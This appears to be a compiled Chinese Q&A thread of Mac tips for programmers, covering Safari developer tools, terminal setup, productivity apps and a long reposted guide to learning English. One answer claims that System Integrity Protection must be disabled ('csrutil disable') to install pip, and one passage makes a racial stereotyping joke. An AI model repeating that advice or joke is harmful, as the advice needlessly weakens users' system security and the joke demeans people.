    万恶的 Flash 可谓是电池杀手,在没有连接电源的情况下使用 Flash 播放视屏,续航时间将会大大降低。而 Flash 并不是必须的,很多网站都为移动设备提供了 HTML5 版本的视频,如果能够切换到 HTML5 模式,岂不是皆大欢喜?
    很多同学可能会问,这和程序员有什么关系?没有用 Safari 做过网页调试的同学可能不知道,Safari 中也包含丰富的开发者工具。为了防止普通用户接触到很少会使用到的开发者工具,Safari 用心地把它们藏了起来,下面的小方法能够马上让它们重见天日:
    打开偏好设置,把「高级」选项卡的最下方「在菜单栏显示开发菜单」左边的小勾勾上即可:
    顶栏出现了「开发」菜单:
    嗯,现在终于和程序员扯上关系了,可是说好的 HTML5 模式播放视频呢?别着急,答案就隐藏在上方的菜单中。
    如果网站只为移动设备提供 HTML5 模式的视频,那么只要我的浏览器伪装成移动设备,不就可以得到仅包含 HTML5 视频的网页呢么?想让 Safari 实施间谍行动很简单,鼠标指针移动到上方菜单中的「用户代理」,显示下图所示菜单:

    快来选择一个伪装对象把,「Safari iOS 8.1 — iPhone」、「Safari iOS 8.1 — iPad」、「Safari iOS 8.1 — iPod Touch」均可~

    下面是实测效果:
    此时功耗将大幅降低,相比使用 Flash 至少能一倍的使用时间~

    二、Flashlight

    说到 Mac 上必备的软件,很多人都会提到 Alfred 这款神器。这款售价 £17 折合 RMB 157.93 元的软件真的物有所值吗?不见得。没错,Alfred 超强的 workflow 无人能敌,但我们真正每天使用的功能,可能只有它所能提供的 10% 还不到。

    其实自带的 Spotlight 反而更能满足用户的需求,Spotlight 不仅可以迅速打开应用,检索文件,还能检索文件内容和注释,可以完成简单的计算和汇率换算功能,还能查找系统自带的词典。系统级别的应用,提供最无缝最优雅的用户体验。这些即使是 Alfred 这样强大的应用也望尘莫及。
    汇率换算

    可惜的是,Spotlight 并没有提供 Alfred 中炫酷的插件功能,追求 Geek 精神的程序员怎么能止步于此呢?
    这时候何不尝试一下 Flashlight 呢?它扩展了系统自带的 Spotlight,为 Spotlight 带来了不亚于 Alfred 的 Workflow。

    Google 搜索

    最重要的是,该软件目前完全免费~

    下载地址:
    [0] Flashlight
    nate-parrott/Flashlight · GitHub

    三、Today Scripts
    Spotlight 也许并勾不起你 Geek 的灵魂,但下面这款软件就不得不承认是极客范儿了~
    没错,就是 Today Scripts,简单来讲,这是一款能在通知栏运行脚本程序的软件。

    通过它你可以:
    显示本计算机的信息

    显示目前 CPU 或内存占用最高的几个应用
    每次打开一条名人名言

    摘录一段用于显示 CPU 占用率的代码:
    ps xro %cpu=,comm= | while read cpu comm; ((i++<5)); do

    int=$cpu
    int="${int%%.*}"
    if (($int >= 50)); then color=$’e[31m';
    elif (($int >= 25)); then color=$’e[33m';
    else color=$’e[32m';
    fi;

    echo "$color$cpu% $(basename "$comm")"$’e[0m’"";
    done

    官方的 Wiki 里提供了更多的脚本:
    https://github.com/SamRothCA/Today-Scripts/wiki#

    你也可以自己写一些脚本,来做更加 Geek 酷炫的事情。

    下载地址:
    https://github.com/SamRothCA/Today-Scripts/releases

    四、iTerm 2 && Oh My Zsh
    iTerm 2 相比自带的 Terminal 应用,有太多优点了。例如,可以设置主题,支持画面分割,各种使用的快捷键,以及快速唤出。配合 Oh My Zsh 使用,简直优雅到爆!

    Oh My Zsh 可以方便的配置炫酷的主题,实用的插件,难以置信的酸爽。注意,下面是经过一定配置之后的 iTerm 界面,j 可以跳转到最近的目录,能够显示 git 分支,正确命令绿色高亮,错误的命令红色高亮。
    半透明的终端从天而降,有质感,有逼格!

    下载地址:
    [0] iTerm2 – Mac OS Terminal Replacement
    http://ohmyz.sh

    评论区问到字体的问题:
    oh-my-zsh 的主题是 agnoster 吗?? 我发现使用之后那个箭头效果显示不出来,字体也装了,还是不对。。。首先安装 Powerline,然后把 iTerm 2 的设置里的 Profile 中的 Text 选项卡中里的 Regular Font 和 Non-ASCII Font 的字体都设置成 Powerline 的字体。

    关于 Poweline 这里采自官方的介绍:
    Powerline is a statusline plugin for vim, and provides statuslines and prompts for several other applications, including zsh, bash, tmux, IPython, Awesome and Qtile.

    [0] Powerline — Powerline beta documentation
    powerline/fonts · GitHub

    另外,我用的字体是 14pt Meslo LG S DZ Regular for Powerline

    五、 Desktoppr (Windows 用户也不要错过哦~)
    优雅的电脑怎能没有优雅的壁纸?然而 Retina 屏幕的 mac 想找到一款令人神清目爽的壁纸可不是那么容易,很多壁纸网站不是比例不对 (很多都是 16 : 9)就是分辨率不够。强迫症怎么能忍!!!

    大家注意到上文演示 iTerm 时我的桌面壁纸么?古典气息墙纸与苹果简洁高雅的界面以及秀丽俊朗的硬件三位一体,优雅到极致。它就是来之下面要介绍的壁纸网站:Desktoppr – All Wallpapers。

    鼠标随便一指,就是一张分辨率高达 6000 * 4800 的壁纸。

    顺带一提,壁纸的下载是需要 Dropbox 的,因此可能需要 FQ。

    附赠一张极客范儿的壁纸,各种终端命令的 CheatSheet,当然也是在 Desktoppr 上下载的:

    六、Vimari
    不得不说,Mac 上最好用的浏览器还是 Safari,省电流畅、平滑缩放加上 iCloud 书签同步、以及钥匙串等功能,使它拥有非凡的体验,唯一的缺点是插件数量不足。
    用过 Chrome 的童鞋可能知道它有一款十分炫酷的插件,叫 Vimium 它可以通过键盘来操纵浏览器。Vimari 和 Vimium 的功能几乎一样,不过是用于 Safari 的。

    下载地址:
    https://github.com/guyht/vimari

    七、Unclutter
    评论区 @龚一峰 提到
    Alfred 剪切板历史功能也是必备神器.
    没错,剪切板历史是一个很实用的功能,下面要介绍的图标巨丑无比的 Unclutter 便具备这项功能。
    它有三个主要功能:1、剪切板历史收藏,剪切板的图片也会显示出来。2、跨软件文件暂存区,类似 Dropshelf 的功能。3、备忘录,可以记录每天的计划等。
    它平常躲在顶部的状态栏,想唤出它只需从顶栏下滑触摸板或鼠标中键,或者移动文件到顶栏。
    如图所示,中间便是文件暂存区,是设计师神器哦~。我喜欢截图完之后,拖进去,等到要用的时候,只需要在顶栏一划,再拖到编辑区即可,非常方便实用~
    剪切板区域点击面包图标,即可查看历史,点击左边的星星还能收藏哦~

    下载地址:
    Unclutter App

    八、实用小技巧
    1)录屏
    想向别人展示你写的优雅地小玩意儿怎么玩儿,却焦头烂额讲不清楚?
    这时候有个一个录屏工具,便可能解决这些问题!

    它叫 QuickTime Player。
    什么!!!这不是视频播放软件么。
    对,我们都小看它了,它不仅能够录制屏幕,还能录制声音和利用前置摄像头的录制视屏。
    注意,QuickTime Player导出的是视屏格式。如果我想录制成 gif 呢?
    那就要用到下面这款叫做 licecap 的软件了:

    至于用法,还是交给读者自行摸索吧~ Windows 也可用哦~

    下载地址:
    Cockos Incorporated

    2) 截图
    还在用 QQ 带的截图工具?其实系统自带的截图工具也很实用,就是缺少圈点勾画的工具。
    详见:OS X 系统自带的截图快捷键有哪些? – 陈浩的回答
    需要注意的是,截图是 option 是维持比例,空格是选取窗口(截图边框有很漂亮的阴影), control 是保存截图在剪切板。

    3)格式转换
    有时候需要把 png 等格式的图片转成 jpg 的格式,于是有同学就去到处找格式转换软件了。其实在 Mac 中直接更改图片的扩展名,即可自动转成相应地格式~试试吧

    进入Terminal, 输入say “任何你想读音的单词,句子,段落”。比如:say Hello World
    优雅的方式,10.9的配置方式:

    保存之后,就可以在任意程序中选择英文单词/句子/段落,按下上图设定的快捷键(Option+Esc),enjoy it。

    1. 全局下:三指轻拍截图到剪贴板;四指轻拍截图保存到相应目录,自带截图按键太多,这下方便很多了。
    2. Finder 中双指左滑前进;双指右滑后退,这样就与 Chrome 操作相同了。
    3. Chrome 中 TipTap Left 匹配上一个标签页;TipTap Right 匹配下一个标签页,还可以设定关闭标和新建标签页的手势,这样在单纯浏览网页的时候就可以做到单手触控板全部搞定。
    4. Window Moving and Resizing

    这样就可以按住 opt 键来移动窗口,按住 opt+cmd 拖动鼠标可以随意改变窗口大小。
    5. Window Snapping
    这样可以将窗口拖动到边缘自动调整大小。非常赞。

    Update:过了很久又回来看了一下,居然没有提到 z 或者 j (autojump) 。命令行快速切换目录神器。会根据你的习惯记录常去的目录,之后就不用一直 cd 了。
    用过一段时间 j,最后还是用了 z,个人觉得 z 更好。

    [项目地址](https://github.com/rupa/z)

    这货安装之后要先 cd 一会儿,让他学习一下,记录你常去的目录~
    已经做了一个周的iOS开发了,觉得iOS开发其乐无穷啊。
    看到这么多人关注这个问题,还有点小激动呢(醒醒吧!又不是给你点赞!!)。其实我最初是想把重点放在“程序员”和“Mac”上,不过看见有很多知友从方方面面分享了Mac的使用经验,也受益匪浅。作为提问者,我还是想从程序员的角度补充分享一点经验。
    使用Homebrew — MacPorts driving you to drink? Try Homebrew!
    这个绝对是程序员居家旅行必备的神器了,功能上跟apt-get差不多。

    注册一个美区账号
    很多App在大陆是不发售的(比如下面这款应用),因此你需要去注册一个美区的Apple ID。
    使用Microsoft Remote Desktop
    这个应用貌似不在大陆的商店中销售。这个应用特别适用这种情况:公司给配了一个台机,上面装了个Windows,然后你又想把台机的显示器分给Mac做双屏,偶尔用到Windows的时候还得把显示器还给台机,接来接去可麻烦(好吧,不要问我为什么不再去向公司申请一个显示器),这个时候这款神器就有用了,你可以远程桌面到你的台机!

  7. 在github上建立了一个项目:

    https://github.com/pubyun/macdev

    Mac for Developer v0.1
    将本人在使用Mac作为开发工具的过程中的一些体会做个记录和整理,方便以后 自己和团队的参考,提高效率。如果本文对其他开发人员也有所帮助,欢迎您给 给出反馈或者提出改进意见

    本文假设您是一个开发工程师,并且是一个Mac的新手。这些步骤在OS X Mavericks 下测试通过。

    欢迎大家一起改进这个项目,请Fork、Star或在Issues中提交
    您也可以关注我的新浪微博,以获取最新消息。

    OS X的安装
    OS X的备份和恢复
    基本设置
    python开发环境的设置
    ruby开发环境的设置 – 整理中…
    java开发环境的设置 – 整理中…
    推荐软件
    配置文件 – 整理中 …
    常用快捷键 – 整理中 …
    参考文档

    1.电脑是拿来用的,无论是否优雅,满足需求才是王道;

    装Windows没什么不好,否则为什么Apple提供 Boot Camp 这么便捷的装windows呢。

    2.mac 下 QQ 不能群语音;

    3.mac 下修改Gif 不好用;

    4.mac 下 Office 不如Office2013 好用;(不要和我提Pages,功能上的差那么多);
    (已入手office365 )

    ——–下面说下怎么优雅使用Mac———

    1. jitouch: 这是神器,从此你可以抛弃鼠标了,顺便吐槽 magic mouse 的难用(主要指握姿);

    2.不用关机,只需要合上盖子就好(SSD硬盘的)。 windows 和 mac 均可;

    3.Magsafe 电源适配器 连接 可以正反面接;

    4.Mac下有自带截图快捷键:
    全屏截图:Command-Shift-3
    使用快捷键后会马上截取当前的全屏

    指定区域截图:Command-Shift-4
    使用快捷键后会出来一个带有座标的瞄准器,用鼠标的拖放可以选择需要截图的区域。

    5.多桌面:Mac下面多桌面非常好用,三指滑动切换;

    最近开始重拾老本行了,又开始看代码相关的书,还是想有点时间可以自己搞点东西。

    不谈炫技和效率,我谈谈让程序员们真正的“优雅起来”的基本功——英语。

    对于时刻需要和国际接轨的程序员们来说,英语的重要性是毋庸置疑的,特别是那些有志于在码农界闯出一番新天地的潜力股们。

    为啥?

    就从新技术的学习来看,只有英语好,才能在第一时间阅读国外最新的技术开发指南,才能让技术跟上世界的潮流。这不是大空话,你且想想国内出版社引进的国外技术作品,要不就是晚了1-2年,要不就是赶进度翻译粗制滥造,看得内心十万头草泥马奔腾。

    在码农界,有一句名言:
    世界上最遥远的距离,是我在读翻译版的《JSP高效编程》,你在看原版的《AngularJS in Action》……
    知道英语的重要性是一回事,学好就是另一回事了。
    按照一万小时天才定律,程序员们要真正把英语学到能看、会写、能说的程度,一定不是一个速成的过程。

    有位尊敬的码农前辈曾经写过一篇专门指导程序员学习英语的文章老码农教你学英语(1),本人照方抓药,收益匪浅。

    ——————(以下是辛劳的搬运工)———————

    1万个小时学好英语这个数据的估算方法是:阅读5000小时、听2000小时、 写2000小时、 说1000小时,下面具体说明:

    1. 大量阅读是提高英语水平的基础、核心、重中之重,要在大量阅读的基础上再开始练习听力和写作。

    为什么这么说?最有效的学习方式就是模仿,而听说读写四个要素里只有听和读有模仿条件。
    那为什么不是先多听呢?有两个原因。一是口语比较随意,俚语方言比较多,在表达上不如书面内容严谨;二是听一次没能理解的内容不容易查找和重复。所以大量的阅读是提高英语水平的关键性基础性的工作。

    怎么阅读呢?我推荐一种暴力方法,不管你基础如何,先找一两本和技术相关的白话书,而且是你最感兴趣的领域,比如经典的《The Mythical Man-Month》(人月神话) 和《Joel on Software》(大神Joel谈软件开发)原版书,这样读起来好歹不那么苦闷,有助于你坚持下来。毕竟在这个起步阶段,坚持是第一位的。不然给你找本《advanced econometrics》试试,据说95%的码农读了三天之后都疯了。

    就算是你感兴趣的书,也保不齐一开始读起来觉得很费劲。也许有的人翻开第一页一看,妈呀,一半单词不认识!这咋办?没事,像我前面说的,有把握蒙的就蒙,没把握的就查,查过的可以把中文意思写在单词旁边,能写英文理解更好,懒得写也没关系,总之原则就是把全部内容看懂吃透就行。

    还有,句子太长里边有好多that….. which….. who….什么的从句?那也没关系,别人理解不了,可咱是码农啊,懂得嵌套结构的原理,不就是递归嘛!甭管他连了多少个,从最后面的那个往前一个一个处理,把从句用彩笔一个一个标出来,最后看清楚嵌套关系以后,句子也就容易看懂了。实际上,我觉得英语最妙的地方就在这里,它能在一个句子里用一个无限延展的树形结构来描述一个概念,直到把它定义得非常严谨无歧义为止。中文做不到这一点,必须拆成好多个句子才能做到通顺,但理解起来就困难多了。

    在这个阶段一定不要求快,一天吭哧吭哧地只看了半页都没关系,也很正常,但一定要确保准确理解。在此我想特别提醒的是,如果你一开始不适应,一定要坚持下来。其实学习英语过程中最难的不是听说读写,而是英语思维。汉语是讲朦胧美的,所谓“道可道,非常道”,越深刻的东西往往越是“只可意会,不可言传”,文人写文章喜欢下结论而很少论证,结论的经验性主观性较大,例如“肉食者鄙,未能远谋”;而欧美文章则大多务求精确严谨,定义精确,论证充分,避免逻辑上的漏洞,下结论则往往比较谨慎,一般都是客观数据,尽量避免主观看法,例如“根据卫星云图,明天的降水概率为70%”。我年轻的时候买过《孙子兵法》和克劳塞维茨的《战争论》一起看,两者的风格差别真是泾渭分明。

    此外对于人文方面也有很大差别。老外经过文艺复兴,对于人文关怀有了很好的基础,更强调个人自由和权利,所谓”风能进,雨能进,国王不能进”;我们从历史文化传承的角度看则是集体大于个人,更强调个人适应环境。再比如老外对于弱势群体的歧视嘲笑是非常忌讳的,但中国人往往习惯了小品里瘸子瞎子胖子出场摔一大跟头这样的笑料。

    所以,这些思维上的差异才是学英语的最大障碍,而大量阅读有助于理解和养成这种思维习惯。特别是逻辑上的严密性和表达的客观性方面,由于文化传统和教师本身的原因,在中国现在的教育环境很难训练出来。但是通过大量阅读英语材料,就可以达到很好的洗脑效果,实为居家旅行、和平演变必备良药(水表在门口,最近没网购,谁喊我都不开门)。

    读完两三本白话书就算是热好身了,下面可以开始读一些更枯燥的东西,主要是专业教课书。如果上大学的时候学的《数据结构》、《离散数学》、《操作系统》这些都还给老师了,正好拿英文版的复习一下。找你专业相关的基础课原版教材,5本左右,开搞。照着前面的要求,一样细细地看,不求快但求精,练习题也好好做一部分,不然你怎么知道自己确实理解透了?

    等你看完这几本,阅读基本上就算入门了,可以开始练习写作和听力,具体做法后面再细说。

    与此同时,要开始看一些行业里最新的技术文档。这些可能还没出书,也可能有一些免费的pdf,不管怎样,也找5本左右来看,什么MongoDB,Neo4j,Node.js,AngularJS之类的,细细地看,边看边做个系统练手,因为这些新技术文档还比较少,社区里的东西也不多,所以免不了要去StackOverflow问,或者去GitHub找些例子来看,别偷懒,这些都是很好的学习方式。

    等你把这几本书也啃下来以后,按A4纸算,你的阅读量肯定会达到7000页以上,在SO, GitHub, Google上查看过的英文资料也不会少于3000页,阅读总量肯定超过1万页了。现在恭喜你,你的阅读能力肯定没问题了。如果我没猜错的话,你这时候碰到翻译版的书都懒得瞟一眼,更别说花钱买和花时间读了。

    另外,阅读能力达到这个水平以后,写作也基本有个基础了。所谓“熟读唐诗三百首,不会作诗也会吟”,看多了以后你会发现英语写作也有一些套路,和中文是一个道理,经过大量的阅读,很多句式其实已经在你的脑子里了,只要在写作过程中经常练习这些句式,自然就熟能生巧了。

    2. 写作要创造环境,每天都要写1000字以上。

    在互联网时代,这一点也不难。最简单直接的办法就是注册一个StackOverflow账号,起初是去问问题,把你搞不定的代码贴上去,会有大牛们帮你搞定,顺带着阅读也练了;等你技术水平涨了以后,想想这么多人帮了你你才成了大牛,总不能只进不出吧,有余力了就应该报复社会,所以就经常去StackOverflow找一些你拿手的主题,帮其他菜鸟们解答一些问题,这样也就练了写作了,一举两得多好!

    等你在SO上混出了点名堂,有点江湖地位的时候,就会有人来找你,比如帮忙干点活啊咨询点问题啊之类的,自然邮件联系就少不了了,这都是练习写作的机会,就算你不想帮他干活,也可以和他扯一扯。

    另外,弄个翻墙软件比如goagent,注册个Google Plus账号,上去看看热点文章,写点自己的体会之类的。实在闲得无聊也可以找Linus之类的大牛混,他每发一贴你就上去评论一番或者请教一下,先混个脸熟嘛!顺带也练习了写作。时间长了,说不定大牛还喜欢上你了,没准随便给你个肉身翻墙的机会,这就是意外之喜了。

    总之,写作是大量阅读之后水到渠成的产物,不过要注意一点,写出来的每个句子甚至每个单词都要务求精准地道,不知道的不要瞎写,要么改换自己熟悉的写法,要么查清楚了再写。要是养成随意乱写的习惯,写出来的句子都是中国人能看懂,外国人都看不懂,那前面的努力就付诸东流了。

    3. 听力要在阅读能力达到一定水平后再开始练习,和前面说的阅读给写作打基础的关系相似,练听力的同时其实就在为口语打基础。

    我首先要说的是,千万不要跟着美剧什么的练听力,你又不是打算偷渡去纽约皇后区卖毒品跟黑人大哥混,就算你听一耳朵就能熟练分辨出说WTF are you doing的是意大利人、爱尔兰人还是黑人,又有啥用呢?咱们做码农的一定不要忘了自己的本分,得跟着码农的大哥混才对,所以练习听力一定要多找IT圈的大牛的访谈来听。

    最经典的自然是天妒英才英年早逝的乔帮主,多听听他的访谈你就知道他的成功绝非偶然。像这样一位逻辑严密,思维活跃,表达能力强,善于调动听众情绪,还很有幽默感,而且做事又非常有韧性的人,实在是百年难遇的天才人物。

    比尔盖茨的访谈就差多了,他的表达能力真的是不敢恭维,有时候东拉西扯的听不明白重点,依稀有点韩乔生老师的风韵。政客系列也不推荐,像奥巴马的讲演听起来总有一种似曾相识的赶脚,细细一想,这不就是美国版的传销讲座嘛!

    所以,多听乔大神的访谈绝对是没错的。为啥是访谈呢?因为都是对话,形式上和咱们的需求匹配,咱们工作中需要的英语对话就是类似于访谈式的,你想想是不是?而且他的访谈聊的都是咱们挨踢的事儿,背景知识都比较熟悉,你专心听他的表达和逻辑就好了。你要是不服,俺给你弄个生物系教授讲分子生物学课程的录音让你听,你听完还能找得到北吗?

    这些访谈在网上都有,到iTunes里的podcast里大把大把的,不过别找带字幕的听,千万!

    现在材料有了,怎么听呢?我先告诉你,每个访谈都要听100遍以上,头20遍就是稀里糊涂地听,能听懂多少听懂多少,听不懂的先蒙。但我敢保证,第20遍肯定比第1遍听懂的东西要多多了。到了20遍还在蒙的,基本你听到第100遍也还是在蒙,所以再蒙下去就没意义了,这时候找到文字版好好看一遍,就看一遍,然后收起来,再听20遍,这时候有些原来靠蒙的就听出来了,听完20遍再看一次,再听,如此反复,100遍之后基本应该都不用蒙了,然后再听下一个。听过100遍的,以后也要经常复习,反复听,再背几遍,很多句型就会自动进到你的脑子里,给你的口语打下一个很好的基础。

    IT界的访谈每个大概都在1-2小时之间,就算1.5小时吧。一个听100遍就是150小时,精听10个就是1500小时。10个就够了,不用追求数量,关键是重复。当然平时还要有一些泛听,比如英文广播、看CNN新闻什么的,越多越好,这些就不求全听懂,听懂多少是多少,一遍就过去,权当是个消遣。

    在这之后,再故意去找一些录音不是那么清晰的访谈来听,比如乔大神96年回到Apple时,在当年的WWDC上的访谈。这个访谈很有意思,因为他一回来就砍掉了好多正在做的产品,有很多利益受损的听众对他不服不忿的,带讽刺挖苦甚至攻击性的问题也不少,可乔大神应对自如,潇洒极了。这个访谈大概是因为年代久远,杂音比较多,音质也不太好,但仔细听也能听出来。很好,就是它了!就照着这个标准找那么三、四个略模糊的访谈,比如通过电话进行的一些访谈,再如法炮制,按100遍的方法听它500小时,这样听力基本也就过关了。

    有人大概心里会嘀咕:故意找这种模糊的录音听有什么意义呢?这主要是让你适应不那么理想环境下的听力,比如在喧闹的餐厅里对话,或者是老外通过skype对你进行电话面试,而你只能听清专业录音设备录下来的访谈,那咋行?所以也需要在前面理想条件下1500小时听力练习完成的基础上,训练一下恶劣条件下的听力。

    4. 练习口语是最麻烦的,因为说的条件最难创造,这必须得有个大活人认真地跟你聊才行啊!
    练习英语口语不外乎这么几个途径:交外国朋友,进外国公司,或者花钱雇外国人跟你聊。各人工作、经济情况不同,这就自己选择吧。练口语一定要找英语是母语的人士练习,这样才能事半功倍。

    另外,有机会就多去美国英国澳大利亚加拿大什么的地方转转,现场体验一下自己的学习成果。不过我这里讲的主要是码农工作相关的东西,基本没涉及到生活类的英语,比如去麦当劳买个milk shake什么的,这些主要靠现场体验现场学习,但有了前面阳春白雪的码农高端上流社会英语作为基础,这些下里巴人的生活英语上手很快,对你肯定不在话下。
    ————————(搬运完毕的分界线)——————————

    再补充一点我从“笨拙”变“优雅”的小TIP——用好电脑翻译工具:
    前辈的10000小时天才定律我是深以为然的,但是,英语没学好的时候活还是得干的,还是要吭哧吭哧硬着头皮读文档,还是得时不时冒充技术大牛去国外论坛里翻翻。英语不够的时候,工具来凑。
    个人用过三款MAC版翻译工具(加原生版是四款),目前觉得用得还不错的是有道词典,给了我一种不是原生胜似原生的体验。
    推荐一下最实用的几个功能:

    1、快捷窗口查单词:就是完全不需要打开应用,点击顶部的图标就能直接查单词。我曾经无聊的时候测算过这种查词方式和传统的打开应用查词方式的效率差别,发现对查词效率的提高在30%以上。

    2、屏幕取词:还是不用打开应用,只要在顶部的图标里选定划词、取词就行。这在翻墙看帖和阅读英语文档的时候再实用不过了,不认识的词就随手一划就能翻译,还能一键保存到单词本,方便时不时拿出来复习。
    还必须赞一个的是单词本是多平台同步的,意思就是我MAC上查完并保存的词,我在路上掏出手机就能随时复习。

    第一步:选定取词、划词

    第二步:随时随地查阅/保存不认识的词汇
    刚才翻了一下我这一个月的历史查词记录,累计的查询词汇已经有600多个了(对于历史查询的记录功能我要点一万个赞),其中300个加了单词本,可见这一个月我的阅读量和词汇学习量是达标的。

    距离10000小时还有9850小时,继续努力!

  8. 对于一个Python程序员,偶尔需要nodejs的工具的人来说,
    第一件事情是,重启系统 然后Command+R 执行 csrutil disable,不然装不了最新的Python pip。
    第二件事情是,通过脚本安装 Homebrew,再通过Homebrew 安装 emacs、node
    如果需要mysql、postgresql、redis、nginx等等,那么最好要通过 Homebrew 装 servies,可以管理这些服务。

    首先我得感谢几位同事将我拉入Mac的深坑,引导我发现新世界;
    也得感谢题主的提问和各位答主的分享,指引我在新世界前行;
    最后,这个答案可能也很少人看了,权当写给自己,做为一份总结。

    //文艺模式解除,开启装逼模式
    1.把系统语言设为英文~~~~~~(你不装逼能死啊)。之后可能你会发现安装的软件也变英文了,这时你可能会想,老子真是脑子被驴踢了,居然相信那个逗逼的话。

    2.使用五笔,不要用拼音………..做为一个程序员,怎么可以接受拼音那令人抓狂的重码率?(这好像是强迫症的临床表现)

    3.可以使用鼠须管输入法,随便说说,我也不会用。

    //装逼失败,降低输出功率,继续开启

    一.日常操作

    1.使用Alfred打开所有应用,当然还有许多功能,其它答主的回答已经很完善了。
    我后面会介绍Manico,能用Manico打开的就不要用Alfred了;
    补充几个,Alfred可以弹出外接硬盘,可能大家都知道,可是我本来不知道;
    还可以关机、睡眠、重启、锁定。

    2.隐藏Dock,这玩意真的有用?
    Automatically hide and show the Dock

    3.激发Dock,当然Dock有时候还是要有的
    Move focus to the Dock
    可以将隐藏的dock显示,再按一下消失,而且显示的时候可以用方向键控制

    4.切换程序
    切换程序的基本姿式有这么几种
    1.⌘⇥,⌘+,⌘⇥,⌘⇥,⌘⇥,⌘⇥,⌘⇥,哎哟,我去,过头了,⌘⇧⇥,OK,还没累死。
    2.⌘⇥,鼠标点,喂喂,我是键盘党(我所说的鼠标包括触摸板,小红点,轨迹球,不要扣字眼)
    3.上面说的Dock里面,按方向键
    4.我的姿式:(也可以打开大部分程序)
    ⌥Q=QQ
    ⌥F=firefox
    ⌥V=MacVim
    ⌥M=Moom(这个我用的是Moom自己设的快捷键)
    ⌥S=sublime text3(我没这货,只是打个比方)
    ……………………….
    再按一下隐藏。
    理论上可以绑定五六十个快捷键,实际中十多个就够了,毕竟常用程序不会太多。
    使用Manico可以实现,当然其它软件也可以。

    5.使用Moom,谁用谁知道

    6.禁用⌘M
    这货有什么用?最小化就不会⌘⇥出来,难道是为了防老板?(老板会用mac吗…….)
    使用⌘H
    我忘了怎么禁用了,不过我把⌘M改成了Show Help Meun,可以方便把焦点移动到工具栏,算是对Windows下Alt键的一个模仿。
    7. 善用Move focus to next window
    打开了四个MacVim/Finder怎么切换?
    四指上划,选中想要的
    四指下划,选中想要的
    ………………………..好累
    简直………原来以前都是白辛苦了。
    做为一个前端,此功能对浏览器调试非常有帮助,不细说了。

    8. 说到浏览器,请给浏览器安装以下插件(firefox为例)
    adblock plus
    element hiding helper for adbock plus
    反视频广告(这个比较杂)
    不要跟我提广告费维持网站运营好吗?整天搞一些色情、暴力、脑残、格调极低的广告,我还得忍着恶心看?
    下面是几个比较高端的插件,可以前端会比较容易上手
    stylish
    greasemokey
    vimperator(神器,可惜对firefox支持越来越差,可能下一个版本就不能用了,伤心)

    9. terminal相关
    使用iTerm2
    使用zsh
    给zsh激活z插件
    使用iTerm2打开能打开的所有东西
    比如说,你把小黄片藏在极隐秘的地方,每次用finder打开都得搞很多路径,这时候就可以这样:
    z little-yellow-moive <tab><return>
    open little-yellow-moive-1.avi <return>
    Ok,可以欣赏了。

    10.装个Dash吧,要不然不好意思说自己是mac下的程序员。

    11.英文有压力可以装个EuDic,当然,用自带的,或者Alfred工作流也是可以的。

    12.买个上google的软件,一年一百多,回报可能是上千。

    13.打开两个QQ
    iTerm2下
    cd /Appalications;open -n QQ.app
    蛮有意思的

    14.使用vim、MacVim做为主要编辑器

    15.写markdown

    16.使用1Password

    17.用seil把caps lock键改成control
    这应该是一种流行的做法,我没这样做,因为使用外接(机械)键盘的话,control很好按到,我把caps lock别做它用了。

    18.Keyboard Maestro
    个人认为算是神器,大家都会想写脚本执行来某些操作,但是对于不会写脚本的人来说,太难了。
    这个东西让你能通过拖拽写脚本,新手福音啊。
    譬如看小黄片也不用打开iTerm2了,写个脚本,设个触发器就好了。
    老是小黄片也不好,我电脑里只有这东西,大家不要误会

    二.硬件方面
    1.使用外接键盘及腕托

    2.使用外接鼠标
    Magic Trackpad很好,可是我已经有轨迹球了

    3.使用外接显示器(我好无聊啊)

    4.用一本书把显示器踮高(如果花钱买支架当然也可以)

    天呐,谁把我的JavaScript高级程序设计踮到下面去了?
    好像是我自己~~~~~~

    5.用一个架子把mac踮高(书也可以)

    6.Mac给iPhone充电特别快,这算不算?

    mac下工具分享:
    iterm2 +zsh
    sublime2
    alfred2+powerpack
    dash
    chrome canary
    sparrow
    omnigroup …
    mindnode 思维导图
    evernote 笔记同步
    sequele pro for mysql
    RoboMongo for mongo

    推荐一个辅助功能的放大屏幕
    如图“Use scroll gesture”那一项。
    编程字体很小,用了这个就不会坏眼了。。

    1.首先跟性别无关,不要觉得你是女孩子就有理由用不了mac OS,而用OS就是男生(geek)的事。女孩子不要把自己的智商想成是2岁的baby。
    2.其次就是看具体的使用了,如果两个环境下,有相同的软件使用环境,比如说纯粹的office办公,上网浏览,视听娱乐等,这些不但mac有,而且个人认为用户体验至少做得不比windows差。所以这些基本的功能大可使用mac的。当然我说的这些有点太小看mac了,难道全世界人们买mac只是用来干这些简单的事情吗?
    不是的,mac有高端大气的keynote,iMovie,Aperture,FinalCut Pro等神器了(我不是做摄影平面的,所以其他的神器我就不太知道啦)。像我拿keynote做的汇报高端大气有没有,拿iMovie简单做个产品开箱什么的,相比windows下的什么xxxx简直弱爆了有没有。
    所以说,还是具体依照你的职业来判断,是否“合适and适合”来使用mac。
    比如你是摄影or平面or动画等专业,那么你应该庆幸这个世界上有比PC好用的软件or硬件(就是OS和Mac啦),Mac显示器的色彩是出类拔萃的,OS下众多高精简的软件也使你看到了不少大制作的电影动画。

    我个人是干建筑设计的,这个行业不得不涉及到各种绘图制作软件。不得不说,就做常用的AutoCAD来说,这个国际通用的二维绘图软件有很多本地化的插件(例如天正,理正工具箱等),所以这个软件的运行环境95%以上都是在PC下的。同样,Autodesk公司下的大多数二维三维的软件,都是以PC下为主的,包括现在流行的Revit等等。而三维建模软件也同理,Sketchup和Rhino,这两个建筑师最常用的建模工具,也是在PC环境下有着众多的第三方插件以及可以熟练操作。所以说建筑师或者相关从业人员如果单纯为了优雅装b的在Mac下使用不成熟的相关软件,那就是事倍功半了。
    当然,Adobe系列的软件,一直在OS下做的很好啊,配合SSD硬盘,Photoshop和AI也可以秒开秒存哦。

    程序员以及IT行业我就不知道有多少软件的兼容性好了,总结来说就是看你具体干什么。

    1. Bartender 不到100块,将状态栏多余的图标都收起来,只能到官网用信用卡买。
    2. JiTouch 不到50块,增强各种手势(Trackpad 和 Magic Mouse),只能到官网用信用卡买。
    3. Caffeine 快速开启保持不会自动休眠,非常有用,免费,Mac Store。
    4. iStat Pro 是一个 Dash Board 的插件,可以看到电脑的 CPU、内存、网络、电池的使用情况,貌似官网目前主推 App,不提供这个插件下载了,但还有很多网站留有下载链接。
    5. Window Tidy 快速调节窗口大小,只要50块,App Store 有售。
    6. Droplr 网盘,跟 OS X 结合非常无缝,截图自动生成链接到剪切板,App Store 有售。
